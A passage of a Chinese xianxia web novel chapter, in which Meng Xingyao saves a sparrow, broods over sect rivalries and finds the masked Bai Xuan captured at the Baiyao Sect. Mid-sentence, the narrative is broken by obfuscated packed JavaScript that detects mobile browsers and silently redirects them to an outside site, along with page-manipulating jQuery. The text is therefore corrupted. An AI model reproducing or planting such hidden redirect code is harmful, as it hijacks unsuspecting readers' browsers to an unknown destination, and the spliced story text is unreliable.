“气海波谲,潜踪匿影!”林海沉声道,“有外人在这儿。” “小心,别是那白玹藏在附近!”孙常德吓得连结界都不敢打开,而他话音落下的刹那,宋云扬的剑光已经顺着林海指示的方向闻风而至。 但比他的剑更快,是孟星遥以灵气为引,虚空一抓,直接强行将山雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998216|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 召回身边。 小山雀承受不住滔天灵力,落地的瞬间,哀啼一声,瘫软在她的掌心,羽毛上都沾满了血。 孟星遥眼眸微眯,随后手指轻捻,青色的微光轻轻将小鸟包起。 罪过罪过,是她最后走神疏忽了,飞雪剑宗还是有些本事在身上,差点让她害了无辜的生命。 既然如此,这飞雪剑宗行事如此胆大妄为,哪怕妖虺之事解决,也是不能再重用了。 可苏祈月如此信任他们,又太过念旧情,断然不会轻易同意。 若是强行废除,只怕本就有的隔阂,又要增重不少。 山雀恢复了生机,又多了几分灵力,十分开心地绕着她飞翔。孟星遥手指轻扣栏杆,望着邀月崖的方向,愁眉不展。 若是谢云迢和她真的成婚,师弟媳也是弟媳,她已经和危梦之泾渭分明,划清界限,没必要又和苏祈月因着宗门之争,闹得如此生分。 或许她该挑个日子和她好好聊聊,无论是当初玉清道宗和秋水灵宗的事,还是她替了她二掌门之位的事,抑或是两人当初执政之时发生过的那些记得清或记不清的小摩擦小矛盾。 三百年未见,有些心里的疙瘩,说开了就好了。 她一边想着,一边正好到了百药宗,因为打定了主意,心情也好了不少。 可还没进门,里面突然传来池苒那地动山摇的怒斥声:“快说!你到底是谁?谁让你乱动这边的人的?” 孟星遥一惊,急忙快步进去,池苒和白芷几人正围成一个圈,不知道在做什么。 她疑惑地走近,探头一看,顿时愣住了。 只见戴着丑面具的白玹一屁股坐在地上,被池苒的神光千影鞭捆成了一个粽子,正奋力挣扎。 这个人为什么会在这儿? “我说了我是摇光上仙请来的客人。”他扭着身子,满脸不服气,“你这人讲不讲道理的?” “客人?我怎么不知道她有客人?”池苒双手环胸,理直气壮,“就算你是客人,你也不能乱闯我们的地盘,还乱动我们的伤患吧?” “真是好心没好报啊。”白玹无奈地摇着头,转向白芷,“她是个医盲,她看不懂,你总看得懂吧,我是不是在救人?” “这……”突然被点名的白芷犹豫了一下,百药宗今天依旧忙得脚不沾地,都不知道这人何时溜进来的,抓了一个晕厥的弟子就是一套扎针,还喂了不知道什么东西。 她们发现的时候,那弟子正乌拉拉地从嘴里喷出黑色的血,然后咚一声昏死过去。 吓得她急忙冲上前,一探脉搏,那原本虚弱的弟子更是连口气都没了。 这人被拖走的时候,还一脸不解地叫嚷道:“干嘛呀,我在救人呢,你们这法子也太过小心了,欲天魔道六千重,各有差别,这血骨妖毒宜疏不宜堵,你们这样治,他就算好了也有余毒……” 虽然这男子的声音很好听,如山间清泉一般悦耳,说得似乎也有道理,但她可不敢胡乱替他说话。 “不是吧,你也看不出来?”白玹彻底服了。 “你叽里咕噜说什么呢?”池苒没好气地打断道,“戴个稀奇古怪的面具,还跟尊上攀亲带故的,我看你就不像个好人!” 说着她上手就去摘白玹的面具,后者自然不肯,拉扯之间,只听啪的一声,绳子又断了。 面具被扯了下来。 微风夹着落花吹过,拂起白玹被折腾得乱作一团的发丝,反而更添几分凌乱之美。那双雌雄莫辨的狐狸美目带着微微嗔意,红唇紧咬,乍见之下,我见犹怜,恍如神击。 原本还在叽叽喳喳对他发动谴责的女修们登时鸦雀无声。 “我说,你们东荒仙洲子弟是不是太没礼貌了。”他不满地开口,“我在你们这儿就不能戴面具了是吗?怎么一个两个,都要给我弄坏了。” 一片万籁寂静之中,忽然有人轻轻笑道:“真人这话可真不好听,你行踪诡谲在前,怎么能怪我们对你防备呢?”